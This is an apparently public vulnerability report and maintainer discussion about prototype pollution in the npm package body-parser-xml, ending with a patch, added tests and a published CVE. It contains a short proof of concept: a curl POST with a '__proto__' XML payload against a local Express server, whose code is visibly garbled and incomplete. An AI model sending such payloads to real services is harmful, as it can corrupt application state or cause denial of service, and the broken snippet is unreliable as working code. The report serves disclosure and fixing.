Prototype Pollution in fiznool/body-parser-xml


Reported on

May 18th 2021

โœ๏ธ Description

This library uses an XML parsing library which causes prototype pollution. However, this issue can be fixed on our side.

๐Ÿ•ต๏ธโ€โ™‚๏ธ Proof of Concept

const express = require('express');
const bodyParser = require('body-parser');


const app = express();
const port = 3001

xmlParseOptions: {
normalize: true, // Trim whitespace inside text nodes
normalizeTags: true, // Transform tags to lowercase
explicitArray: false, // Only put nodes in array if >1
}));"/", (req, res) => {
return res.end("OK")

app.listen(port , () => {
console.log(`Server at http://localhost:${port}`)

Then make a POST request :

curl -X POST http://localhost:3001/ -d "<__proto__><test>ok</testst></__proto__>" -H "Content-Type: application/xml"

๐Ÿ’ฅ Impact

This vulnerability is capable of causing Remote code execution and denial of service attack depending upon how it is used.


Tom Spencer
3 years ago


Thanks for this. I would question the following line:

This library uses an XML parsing library which is no longer maintained to parse XML

The xml2js library is not actively maintained, but sees over 11M downloads per week on npm, and is not marked as deprecated. Although this vulnerability exists, and has been reported on the repo itself ( it is still an actively used library.

Yadhu Krishna M
3 years ago


Yeah. You are right. The library is not deprecated. But I can see there has been very less or no communications from the maintainer. Many other libraries have already made a fix for this issue.

Tom Spencer
3 years ago


Thanks for the patch. A couple of things:

  • A similar exploit was fixed in another of my libs, which also involved the constructor and prototype keys. Maybe we should do the same here?
  • Can we please have tests to cover these scenarios.
Yadhu Krishna M
3 years ago


I have updated the patch and added tests to cover those scenarios. Could you check?

Jamie Slome
2 years ago


CVE published! ๐ŸŽ‰


to join this conversation